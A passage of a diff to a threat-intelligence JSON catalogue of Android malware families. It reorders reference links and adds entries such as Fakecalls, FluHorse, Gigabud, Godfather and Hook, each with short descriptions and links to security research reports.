"type": [] @@ -1066,10 +1090,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.exodus", - "https://motherboard.vice.com/en_us/article/43z93g/hackers-hid-android-malware-in-google-play-store-exodus-esurv", - "https://securitywithoutborders.org/blog/2019/03/29/exodus.html", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://motherboard.vice.com/en_us/article/eveeq4/prosecutors-investigation-esurv-exodus-malware-on-google-play-store" + "https://motherboard.vice.com/en_us/article/eveeq4/prosecutors-investigation-esurv-exodus-malware-on-google-play-store", + "https://motherboard.vice.com/en_us/article/43z93g/hackers-hid-android-malware-in-google-play-store-exodus-esurv", + "https://securitywithoutborders.org/blog/2019/03/29/exodus.html" ], "synonyms": [], "type": [] @@ -1082,9 +1106,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.facestealer", - "https://www.trendmicro.com/en_us/research/22/e/fake-mobile-apps-steal-facebook-credentials--crypto-related-keys.html", "https://labs.k7computing.com/index.php/facestealer-the-rise-of-facebook-credential-stealer-malware/", - "https://threatpost.com/facestealer-trojan-google-play-facebook/179015/" + "https://threatpost.com/facestealer-trojan-google-play-facebook/179015/", + "https://www.trendmicro.com/en_us/research/22/e/fake-mobile-apps-steal-facebook-credentials--crypto-related-keys.html" ], "synonyms": [], "type": [] @@ -1105,16 +1129,30 @@ "uuid": "d0ae2b6b-5137-4b64-be3e-4bbc9aa007a6", "value": "FakeAdBlocker" }, + { + "description": "According to Kaspersky, Fakecalls is a Trojan that masquerades as a banking app and imitates phone conversations with bank employees.\r\n\r\n", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.fakecalls", + "https://research.checkpoint.com/2023/south-korean-android-banking-menace-fakecalls/", + "https://www.kaspersky.com.au/blog/fakecalls-banking-trojan/30379/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "014aeab6-2292-4ee5-83d6-fffb0fc21423", + "value": "Fakecalls" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.fakespy", - "https://www.trendmicro.com/en_us/research/18/f/fakespy-android-information-stealing-malware-targets-japanese-and-korean-speaking-users.html", "https://www.trendmicro.com/en_us/research/18/k/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang.html", - "https://medium.com/csis-techblog/the-roamingmantis-groups-expansion-to-european-apple-accounts-and-android-devices-e6381723c681", + "https://blog.trendmicro.com/trendlabs-security-intelligence/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang/", + "https://www.trendmicro.com/en_us/research/18/f/fakespy-android-information-stealing-malware-targets-japanese-and-korean-speaking-users.html", "https://blog.trendmicro.com/trendlabs-security-intelligence/fakespy-android-information-stealing-malware-targets-japanese-and-korean-speaking-users/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang/" + "https://medium.com/csis-techblog/the-roamingmantis-groups-expansion-to-european-apple-accounts-and-android-devices-e6381723c681" ], "synonyms": [], "type": [] @@ -1137,6 +1175,32 @@ "uuid": "6c0fc7e4-4629-494f-b471-f7a8cc47c0e0", "value": "FakeGram" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.fastfire", + "https://medium.com/s2wblog/unveil-the-evolution-of-kimsuky-targeting-android-devices-with-newly-discovered-mobile-malware-280dae5a650f" + ], + "synonyms": [], + "type": [] + }, + "uuid": "5613da3a-06f5-4363-b468-0b8a03ffc292", + "value": "FastFire" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.fastspy", + "https://medium.com/s2wblog/unveil-the-evolution-of-kimsuky-targeting-android-devices-with-newly-discovered-mobile-malware-280dae5a650f" + ], + "synonyms": [], + "type": [] + }, + "uuid": "a5e3e217-3790-4d7c-b67a-906b9ee69034", + "value": "FastSpy" + }, { "description": "", "meta": { @@ -1155,12 +1219,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.finfisher", - "https://github.com/linuzifer/FinSpy-Dokumentation", + "https://www.amnesty.org/en/latest/research/2020/09/german-made-finspy-spyware-found-in-egypt-and-mac-and-linux-versions-revealed/", "https://netzpolitik.org/2020/our-criminal-complaint-german-state-malware-company-finfisher-raided/", + "https://github.com/linuzifer/FinSpy-Dokumentation", "https://securelist.com/finspy-unseen-findings/104322/", "https://securelist.com/new-finspy-ios-and-android-implants-revealed-itw/91685/", - "https://raw.githubusercontent.com/DefensiveLabAgency/FinSpy-for-Android/master/20200806_finspy_android_analysis_public_release.pdf", - "https://www.amnesty.org/en/latest/research/2020/09/german-made-finspy-spyware-found-in-egypt-and-mac-and-linux-versions-revealed/" + "https://raw.githubusercontent.com/DefensiveLabAgency/FinSpy-for-Android/master/20200806_finspy_android_analysis_public_release.pdf" ], "synonyms": [], "type": [] @@ -1203,43 +1267,45 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.flubot", - "https://medium.com/csis-techblog/the-brief-glory-of-cabassous-flubot-a-private-android-banking-botnet-bc2ed7917027", - "https://www.bitdefender.com/blog/labs/new-flubot-and-teabot-global-malware-campaigns-discovered", - "https://www.checkpoint.com/press/2022/march-2022s-most-wanted-malware-easter-phishing-scams-help-emotet-assert-its-dominance/", - "https://twitter.com/alberto__segura/status/1399249798063087621?s=20", - "https://www.f5.com/labs/articles/threat-intelligence/flubots-authors-employ-creative-and-sophisticated-techniques-to-achieve-their-goals-in-version-50-and-beyond", - "https://www.cert.govt.nz/individuals/news-and-events/parcel-delivery-text-message-infecting-android-phones/", - "https://news.netcraft.com/archives/2021/08/17/resurgent-flubot-malware-targets-german-and-polish-banks.html", - "https://news.netcraft.com/archives/2021/08/04/flubot-malware-spreads-to-australia.html", - "https://www.infinitumit.com.tr/flubot-zararlisi/", - "https://www.threatfabric.com/blogs/partners-in-crime-medusa-cabassous.html", - "https://twitter.com/alberto__segura/status/1395675479194095618", + "https://www.bitsight.com/blog/flubot-malware-persists-most-prevalent-germany-and-spain", "https://thehackernews.com/2022/01/widespread-flubot-and-teabot-malware.html", + "https://twitter.com/alberto__segura/status/1399249798063087621?s=20", + "https://cryptax.medium.com/android-flubot-preparing-for-a-new-campaign-2f7563fc6c06", "https://blog.fox-it.com/2022/06/29/flubot-the-evolution-of-a-notorious-android-banking-malware/", - "https://mobile.twitter.com/alberto__segura/status/1400396365759500289", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", + "https://twitter.com/alberto__segura/status/1384840011892285440", "https://securityintelligence.com/posts/story-of-fakechat-malware/", - "https://www.nortonlifelock.com/blogs/research-group/flubot-targets-android-phone-users", - "https://blog.zimperium.com/flubot-vs-zimperium/", - "https://blog.nviso.eu/2021/04/19/how-to-analyze-mobile-malware-a-cabassous-flubot-case-study/", - "https://twitter.com/alberto__segura/status/1404098461440659459", + "https://labs.bitdefender.com/2021/06/threat-actors-use-mockups-of-popular-apps-to-spread-teabot-and-flubot-malware-on-android/", + "https://www.checkpoint.com/press/2022/march-2022s-most-wanted-malware-easter-phishing-scams-help-emotet-assert-its-dominance/", "https://www.proofpoint.com/us/blog/threat-insight/flubot-android-malware-spreading-rapidly-through-europe-may-hit-us-soon", - "https://www.prodaft.com/m/reports/FluBot_4.pdf", + "https://twitter.com/alberto__segura/status/1395675479194095618", + "https://securityblog.switch.ch/2021/06/19/android-flubot-enters-switzerland/", + "https://www.threatfabric.com/blogs/partners-in-crime-medusa-cabassous.html", + "https://mobile.twitter.com/alberto__segura/status/1400396365759500289", "https://hispasec.com/resources/FedexBanker.pdf", + "https://medium.com/walmartglobaltech/a-look-at-an-android-bot-from-unpacking-to-dga-e331554f9fb9", + "https://www.infinitumit.com.tr/flubot-zararlisi/", + "https://www.bitdefender.com/blog/labs/new-flubot-and-teabot-global-malware-campaigns-discovered", + "https://therecord.media/despite-arrests-in-spain-flubot-operations-explode-across-europe-and-japan/", + "https://news.netcraft.com/archives/2021/08/04/flubot-malware-spreads-to-australia.html", + "https://www.nortonlifelock.com/blogs/research-group/flubot-targets-android-phone-users", + "https://twitter.com/malwrhunterteam/status/1359939300238983172", + "https://www.cert.govt.nz/individuals/news-and-events/parcel-delivery-text-message-infecting-android-phones/", + "https://blog.zimperium.com/flubot-vs-zimperium/", + "https://www.ncsc.admin.ch/22w12-de", + "https://www.prodaft.com/m/reports/FluBot_4.pdf", "https://raw.githubusercontent.com/prodaft/malware-ioc/master/FluBot/FluBot.pdf", "https://blog.cyble.com/2021/09/09/flubot-variant-masquerading-as-the-default-android-voicemail-app/", - "https://medium.com/walmartglobaltech/a-look-at-an-android-bot-from-unpacking-to-dga-e331554f9fb9", - "https://twitter.com/malwrhunterteam/status/1359939300238983172", - "https://twitter.com/alberto__segura/status/1402615237296148483", - "https://www.europol.europa.eu/media-press/newsroom/news/takedown-of-sms-based-flubot-spyware-infecting-android-phones", - "https://labs.bitdefender.com/2021/06/threat-actors-use-mockups-of-popular-apps-to-spread-teabot-and-flubot-malware-on-android/", + "https://news.netcraft.com/archives/2021/08/17/resurgent-flubot-malware-targets-german-and-polish-banks.html", + "https://twitter.com/alberto__segura/status/1404098461440659459", + "https://www.f5.com/labs/articles/threat-intelligence/flubots-authors-employ-creative-and-sophisticated-techniques-to-achieve-their-goals-in-version-50-and-beyond", + "https://www.telekom.com/en/blog/group/article/flubot-under-the-microscope-636368", "https://therecord.media/flubot-malware-gang-arrested-in-barcelona/", - "https://cryptax.medium.com/android-flubot-preparing-for-a-new-campaign-2f7563fc6c06", - "https://securityblog.switch.ch/2021/06/19/android-flubot-enters-switzerland/", - "https://therecord.media/despite-arrests-in-spain-flubot-operations-explode-across-europe-and-japan/", - "https://twitter.com/alberto__segura/status/1384840011892285440", - "https://www.bitsight.com/blog/flubot-malware-persists-most-prevalent-germany-and-spain", - "https://www.ncsc.admin.ch/22w12-de", - "https://www.telekom.com/en/blog/group/article/flubot-under-the-microscope-636368" + "https://blog.nviso.eu/2021/04/19/how-to-analyze-mobile-malware-a-cabassous-flubot-case-study/", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", + "https://medium.com/csis-techblog/the-brief-glory-of-cabassous-flubot-a-private-android-banking-botnet-bc2ed7917027", + "https://www.europol.europa.eu/media-press/newsroom/news/takedown-of-sms-based-flubot-spyware-infecting-android-phones", + "https://twitter.com/alberto__segura/status/1402615237296148483" ], "synonyms": [ "Cabassous", @@ -1250,6 +1316,19 @@ "uuid": "ef91833f-3334-4955-9218-f106494e9fc0", "value": "FluBot" }, + { + "description": "According to Check Point, this malware features several malicious Android applications that mimic legitimate applications, most of which have more than 1,000,000 installs. These malicious apps steal the victims’ credentials and Two-Factor Authentication (2FA) codes. FluHorse targets different sectors of Eastern Asian markets and is distributed via emails. In some cases, the emails used in the first stage of the attacks belong to high-profile entities. The malware can remain undetected for months making it a persistent, dangerous, and hard-to-spot threat.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.fluhorse", + "https://research.checkpoint.com/2023/eastern-asian-android-assault-fluhorse/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "aeaeb8b2-650e-471d-a901-3c4fbae42854", + "value": "FluHorse" + }, { "description": "Zimperium notes that this malware has hit more than 10,000 victims in 140+ countries using social media hijacking, 3rd party app stores and sideloading. ", "meta": { @@ -1268,8 +1347,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.funkybot", - "https://medium.com/csis-techblog/the-roamingmantis-groups-expansion-to-european-apple-accounts-and-android-devices-e6381723c681", "https://securelist.com/roaming-mantis-part-v/96250/", + "https://medium.com/csis-techblog/the-roamingmantis-groups-expansion-to-european-apple-accounts-and-android-devices-e6381723c681", "https://www.fortinet.com/blog/threat-research/funkybot-malware-targets-japan.html" ], "synonyms": [], @@ -1283,12 +1362,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.furball", + "https://www.trendmicro.com/en_us/research/19/f/mobile-cyberespionage-campaign-bouncing-golf-affects-middle-east.html", "https://www.bleepingcomputer.com/news/security/domestic-kitten-apt-operates-in-silence-since-2016/", - "https://www.virusbulletin.com/conference/vb2019/abstracts/domestic-kitten-iranian-surveillance-program", + "https://www.bleepingcomputer.com/news/security/hacking-group-updates-furball-android-spyware-to-evade-detection/", "https://research.checkpoint.com/2021/domestic-kitten-an-inside-look-at-the-iranian-surveillance-operations/", "https://documents.trendmicro.com/assets/appendix-mobile-cyberespionage-campaign-bouncing-golf-affects-middle-east.pdf", "https://ti.qianxin.com/blog/articles/surprised-by-cyrus-the-great-disclosure-against-Iran-cyrus-attack/", - "https://www.trendmicro.com/en_us/research/19/f/mobile-cyberespionage-campaign-bouncing-golf-affects-middle-east.html" + "https://www.virusbulletin.com/conference/vb2019/abstracts/domestic-kitten-iranian-surveillance-program" ], "synonyms": [], "type": [] @@ -1301,8 +1381,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.geost", - "https://www.gosecure.net/blog/2020/12/02/deep-dive-into-an-obfuscation-as-a-service-for-android-malware/", - "https://www.virusbulletin.com/virusbulletin/2019/10/vb2019-paper-geost-botnet-story-discovery-new-android-banking-trojan-opsec-error/" + "https://www.virusbulletin.com/virusbulletin/2019/10/vb2019-paper-geost-botnet-story-discovery-new-android-banking-trojan-opsec-error/", + "https://www.gosecure.net/blog/2020/12/02/deep-dive-into-an-obfuscation-as-a-service-for-android-malware/" ], "synonyms": [], "type": [] @@ -1336,17 +1416,31 @@ "uuid": "3b6c1771-6d20-4177-8be0-12116e254bf5", "value": "GhostCtrl" }, + { + "description": "Gigabud is the name of an Android Remote Access Trojan (RAT) Android that can record the victim's screen and steal banking credentials by abusing the Accessibility Service. Gigabud masquerades as banking, shopping, and other applications. Threat actors have been observed using deceptive websites to distribute Gigabud RAT.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.gigabud", + "https://blog.cyble.com/2023/01/19/gigabud-rat-new-android-rat-masquerading-as-government-agencies/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "8f188382-7a31-46a5-83c6-5991dfe739ee", + "value": "Gigabud" + }, { "description": "Ginp is a mobile banking software targeting Android devices that was discovered by Kaspersky. The malware is able to steal both user credentials and credit cards numbers by implementing overlay attacks. For this, overlay targets are for example the default SMS application. What makes Ginp a remarkable family is how its operators managed to have it remain undetected over time even and it receiving version upgrades over many years. According to ThreatFabric, Ginp has the following features:\r\n\r\nOverlaying: Dynamic (local overlays obtained from the C2)\r\nSMS harvesting: SMS listing\r\nSMS harvesting: SMS forwarding\r\nContact list collection\r\nApplication listing\r\nOverlaying: Targets list update\r\nSMS: Sending\r\nCalls: Call forwarding\r\nC2 Resilience: Auxiliary C2 list\r\nSelf-protection: Hiding the App icon\r\nSelf-protection: Preventing removal\r\nSelf-protection: Emulation-detection.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.ginp", - "https://securityintelligence.com/posts/ginp-malware-operations-rising-expansions-turkey/", - "https://www.youtube.com/watch?v=WeL_xSryj8E", - "https://www.threatfabric.com/blogs/ginp_a_malware_patchwork_borrowing_from_anubis.html", "https://twitter.com/ESETresearch/status/1269945115738542080", "https://www.threatfabric.com/blogs/2020_year_of_the_rat.html", - "https://www.kaspersky.com/blog/ginp-trojan-coronavirus-finder/34338/" + "https://www.threatfabric.com/blogs/ginp_a_malware_patchwork_borrowing_from_anubis.html", + "https://www.kaspersky.com/blog/ginp-trojan-coronavirus-finder/34338/", + "https://muha2xmad.github.io/malware-analysis/ginp/", + "https://www.youtube.com/watch?v=WeL_xSryj8E", + "https://securityintelligence.com/posts/ginp-malware-operations-rising-expansions-turkey/" ], "synonyms": [], "type": [] @@ -1359,10 +1453,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.glancelove", - "https://securelist.com/breaking-the-weakest-link-of-the-strongest-chain/77562/", - "https://www.haaretz.com/israel-news/hamas-cyber-ops-spied-on-israeli-soldiers-using-fake-world-cup-app-1.6241773", "https://www.idf.il/en/minisites/hamas/hamas-uses-fake-facebook-profiles-to-target-israeli-soldiers/", - "https://www.clearskysec.com/glancelove/" + "https://www.clearskysec.com/glancelove/", + "https://securelist.com/breaking-the-weakest-link-of-the-strongest-chain/77562/", + "https://www.haaretz.com/israel-news/hamas-cyber-ops-spied-on-israeli-soldiers-using-fake-world-cup-app-1.6241773" ], "synonyms": [], "type": [] @@ -1383,6 +1477,33 @@ "uuid": "a3b6a355-3afe-49ae-9f87-679c6c382943", "value": "GnatSpy" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.goat_rat", + "https://labs.k7computing.com/index.php/goatrat-attacks-automated-payment-systems/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "f699d295-1072-418b-8aa2-cb36fbd4c6c7", + "value": "GoatRAT" + }, + { + "description": "According to PCrisk, GodFather is the name of an Android malware targeting online banking pages and cryptocurrency exchanges in 16 countries. It opens fake login windows over legitimate applications. Threat actors use GodFather to steal account credentials. Additionally, GodFather can steal SMSs, device information, and other data.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.godfather", + "https://muha2xmad.github.io/malware-analysis/godfather/", + "https://blog.group-ib.com/godfather-trojan" + ], + "synonyms": [], + "type": [] + }, + "uuid": "8e95a9d5-08fb-4f11-b70a-622148bd1e62", + "value": "Godfather" + }, { "description": "", "meta": { @@ -1414,8 +1535,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.goontact", - "https://blog.lookout.com/lookout-discovers-new-spyware-goontact-used-by-sextortionists-for-blackmail", - "https://blog.cyble.com/2021/09/03/spyware-variant-disguised-as-korean-video-app-targets-multiple-asian-countries/" + "https://blog.cyble.com/2021/09/03/spyware-variant-disguised-as-korean-video-app-targets-multiple-asian-countries/", + "https://blog.lookout.com/lookout-discovers-new-spyware-goontact-used-by-sextortionists-for-blackmail" ], "synonyms": [], "type": [] @@ -1428,8 +1549,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.gplayed", - "https://blog.talosintelligence.com/2018/10/gplayedtrojan.html", - "https://blog.talosintelligence.com/2018/10/gplayerbanker.html" + "https://blog.talosintelligence.com/2018/10/gplayerbanker.html", + "https://blog.talosintelligence.com/2018/10/gplayedtrojan.html" ], "synonyms": [], "type": [] @@ -1468,12 +1589,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.gustuff", + "https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html", + "https://www.threatfabric.com/blogs/2020_year_of_the_rat.html", + "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", "https://blog.talosintelligence.com/2019/10/gustuffv2.html", "https://www.group-ib.com/media/gustuff/", - "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", - "https://www.threatfabric.com/blogs/2020_year_of_the_rat.html", - "https://www.threatfabric.com/blogs/the-rage-of-android-banking-trojans.html", - "https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html" + "https://www.threatfabric.com/blogs/the-rage-of-android-banking-trojans.html" ], "synonyms": [], "type": [] @@ -1501,8 +1622,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.hawkshaw", - "https://www.stratosphereips.org/blog/2021/5/6/dissecting-a-rat-analysis-of-the-hawkshaw", - "https://research.checkpoint.com/2021/going-rogue-a-mastermind-behind-android-malware-returns-with-a-new-rat/" + "https://research.checkpoint.com/2021/going-rogue-a-mastermind-behind-android-malware-returns-with-a-new-rat/", + "https://www.stratosphereips.org/blog/2021/5/6/dissecting-a-rat-analysis-of-the-hawkshaw" ], "synonyms": [], "type": [] @@ -1515,9 +1636,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.henbox", + "https://unit42.paloaltonetworks.com/unit42-henbox-chickens-come-home-roost/", "https://unit42.paloaltonetworks.com/pkplug_chinese_cyber_espionage_group_attacking_asia/", - "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-pulling-pkplug-adversary-playbook-long-standing-espionage-activity-chinese-nation-state-adversary/", - "https://unit42.paloaltonetworks.com/unit42-henbox-chickens-come-home-roost/" + "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-pulling-pkplug-adversary-playbook-long-standing-espionage-activity-chinese-nation-state-adversary/" ], "synonyms": [], "type": [] @@ -1530,8 +1651,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.hermit", - "https://www.lighthousereports.nl/investigation/revealing-europes-nso", "https://de.lookout.com/blog/hermit-spyware-discovery", + "https://www.lighthousereports.nl/investigation/revealing-europes-nso", "https://blog.google/threat-analysis-group/italian-spyware-vendor-targets-users-in-italy-and-kazakhstan/" ], "synonyms": [], @@ -1558,11 +1679,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.hiddenad", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/new-hiddenads-malware-that-runs-automatically-and-hides-on-google-play-1m-users-affected/", "https://labs.bitdefender.com/2020/03/infected-zoom-apps-for-android-target-work-from-home-users", - "https://twitter.com/LukasStefanko/status/1136568939239137280", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/new-hiddenads-malware-that-runs-automatically-and-hides-on-google-play-1m-users-affected/", + "https://securelist.com/mobile-malware-evolution-2019/96280/", "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://securelist.com/mobile-malware-evolution-2019/96280/" + "https://twitter.com/LukasStefanko/status/1136568939239137280" ], "synonyms": [], "type": [] @@ -1583,22 +1704,37 @@ "uuid": "96bea6aa-3202-4352-8e36-fa05c677c0e8", "value": "HilalRAT" }, + { + "description": "According to ThreatFabric, this is a malware family based on apk.ermac. The name hook is the self-advertised named by its vendor DukeEugene. It provides WebSocket communication and has RAT capabilities.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.hook", + "https://cebrf.knf.gov.pl/komunikaty/artykuly-csirt-knf/362-ostrzezenia/858-hookbot-a-new-mobile-malware", + "https://www.threatfabric.com/blogs/hook-a-new-ermac-fork-with-rat-capabilities.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "c101bc42-1011-43f6-9d30-629013c318cd", + "value": "Hook" + }, { "description": "Avira states that Hydra is an Android BankBot variant, a type of malware designed to steal banking credentials. The way it does this is by requesting the user enables dangerous permissions such as accessibility and every time the banking app is opened, the malware is hijacking the user by overwriting the legit banking application login page with a malicious one. The goal is the same, to trick the user to enter his login credentials so that it will go straight to the malware authors.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.hydra", - "https://muha2xmad.github.io/malware-analysis/hydra/", "https://www.threatfabric.com/blogs/deceive-the-heavens-to-cross-the-sea.html", - "https://pentest.blog/android-malware-analysis-dissecting-hydra-dropper/", - "https://cryptax.medium.com/android-bianlian-payload-61febabed00a", - "https://cryptax.medium.com/creating-a-safe-dummy-c-c-to-test-android-bots-ffa6e7a3dce5", - "https://cryptax.medium.com/quick-look-into-a-new-sample-of-android-bianlian-bc5619efa726", - "https://www.threatfabric.com/blogs/2020_year_of_the_rat.html", - "https://cryptax.medium.com/bianlian-c-c-domain-name-4f226a29e221", - "https://www.avira.com/en/blog/avira-labs-research-reveals-hydra-banking-trojan-2-0", "https://twitter.com/muha2xmad/status/1570788983474638849", - "https://blog.cyble.com/2022/06/13/hydra-android-malware-distributed-via-play-store/" + "https://www.threatfabric.com/blogs/2020_year_of_the_rat.html", + "https://blog.cyble.com/2022/06/13/hydra-android-malware-distributed-via-play-store/", + "https://www.avira.com/en/blog/avira-labs-research-reveals-hydra-banking-trojan-2-0", + "https://cryptax.medium.com/creating-a-safe-dummy-c-c-to-test-android-bots-ffa6e7a3dce5", + "https://cryptax.medium.com/bianlian-c-c-domain-name-4f226a29e221", + "https://cryptax.medium.com/android-bianlian-payload-61febabed00a", + "https://pentest.blog/android-malware-analysis-dissecting-hydra-dropper/", + "https://muha2xmad.github.io/malware-analysis/hydra/", + "https://resecurity.com/blog/article/in-the-box-mobile-malware-webinjects-marketplace", + "https://cryptax.medium.com/quick-look-into-a-new-sample-of-android-bianlian-bc5619efa726" ], "synonyms": [], "type": [] @@ -1627,9 +1763,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.irata", + "https://onecert.ir/portal/blog/irata", "https://twitter.com/muha2xmad/status/1562831996078157826", - "https://muha2xmad.github.io/malware-analysis/irata/", - "https://onecert.ir/portal/blog/irata" + "https://muha2xmad.github.io/malware-analysis/irata/" ], "synonyms": [], "type": [] @@ -1664,22 +1800,22 @@ "value": "JadeRAT" }, { - "description": "", + "description": "Joker is one of the most well-known malware families on Android devices. It manages to take advantage of Google’s official app store with the help of its trail signatures which includes updating the virus’s code, execution process, and payload-retrieval techniques. This malware is capable of stealing users’ personal information including contact details, device data, WAP services, and SMS messages.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.joker", - "https://web.archive.org/web/20210714010827/https://blog.zimperium.com/joker-is-still-no-laughing-matter/", - "https://cryptax.medium.com/tracking-android-joker-payloads-with-medusa-static-analysis-and-patience-672348b81ac2", - "https://cryptax.medium.com/live-reverse-engineering-of-a-trojanized-medical-app-android-joker-632d114073c1", "https://research.checkpoint.com/2020/new-joker-variant-hits-google-play-with-an-old-trick/", "https://www.microsoft.com/security/blog/2022/06/30/toll-fraud-malware-how-an-android-application-can-drain-your-wallet/", - "https://www.trendmicro.com/en_us/research/20/k/an-old-jokers-new-tricks--using-github-to-hide-its-payload.html", - "https://security.googleblog.com/2020/01/pha-family-highlights-bread-and-friends.html", + "https://cryptax.medium.com/live-reverse-engineering-of-a-trojanized-medical-app-android-joker-632d114073c1", "https://labs.k7computing.com/index.php/joker-unleashes-itself-again-on-google-play-store/", - "https://labs.bitdefender.com/2020/03/android-apps-and-malware-capitalize-on-coronavirus", + "https://web.archive.org/web/20210714010827/https://blog.zimperium.com/joker-is-still-no-laughing-matter/", "https://labs.k7computing.com/?p=22199", - "https://muha2xmad.github.io/malware-analysis/hydra/", - "https://medium.com/csis-techblog/analysis-of-joker-a-spy-premium-subscription-bot-on-googleplay-9ad24f044451" + "https://medium.com/csis-techblog/analysis-of-joker-a-spy-premium-subscription-bot-on-googleplay-9ad24f044451", + "https://security.googleblog.com/2020/01/pha-family-highlights-bread-and-friends.html", + "https://www.trendmicro.com/en_us/research/20/k/an-old-jokers-new-tricks--using-github-to-hide-its-payload.html", + "https://labs.bitdefender.com/2020/03/android-apps-and-malware-capitalize-on-coronavirus", + "https://cryptax.medium.com/tracking-android-joker-payloads-with-medusa-static-analysis-and-patience-672348b81ac2", + "https://muha2xmad.github.io/malware-analysis/hydra/" ], "synonyms": [ "Bread" @@ -1735,9 +1871,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.little_looter", - "https://twitter.com/malwrhunterteam/status/1337684036374945792", - "https://www.youtube.com/watch?v=nilzxS9rxEM", "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-The-Kitten-That-Charmed-Me-The-9-Lives-Of-A-Nation-State-Attacker.pdf", + "https://www.youtube.com/watch?v=nilzxS9rxEM", + "https://twitter.com/malwrhunterteam/status/1337684036374945792", "https://securityintelligence.com/posts/itg18-operational-security-errors-plague-iranian-threat-group/" ], "synonyms": [], @@ -1764,13 +1900,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.lokibot", - "https://www.threatfabric.com/blogs/lokibot_the_first_hybrid_android_malware.html", - "https://drive.google.com/file/d/144cOnM6fxfuBeP0V2JQshp8C0Zlk_0kH/view", - "https://muha2xmad.github.io/mal-document/lokibotpdf/", + "https://github.com/vc0RExor/Malware-Threat-Reports/blob/main/Lokibot/Machete-Weapons-Lokibot/Machete%20weapons-Lokibot_EN.pdf", "https://news.sophos.com/en-us/2020/07/14/raticate-rats-as-service-with-commercial-crypter/?cmp=30728", - "https://yoroi.company/research/aggah-how-to-run-a-botnet-without-renting-a-server-for-more-than-a-year/", + "https://muha2xmad.github.io/mal-document/lokibotpdf/", + "https://drive.google.com/file/d/144cOnM6fxfuBeP0V2JQshp8C0Zlk_0kH/view", "https://isc.sans.edu/diary/27282", - "https://github.com/vc0RExor/Malware-Threat-Reports/blob/main/Lokibot/Machete-Weapons-Lokibot/Machete%20weapons-Lokibot_EN.pdf" + "https://www.threatfabric.com/blogs/lokibot_the_first_hybrid_android_malware.html", + "https://yoroi.company/research/aggah-how-to-run-a-botnet-without-renting-a-server-for-more-than-a-year/" ], "synonyms": [], "type": [] @@ -1809,9 +1945,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.marcher", - "https://securelist.com/mobile-malware-evolution-2019/96280/", + "https://www.zscaler.de/blogs/research/android-marcher-continuously-evolving-mobile-malware", "https://www.clientsidedetection.com/exobot_v2_update___staying_ahead_of_the_competition.html", - 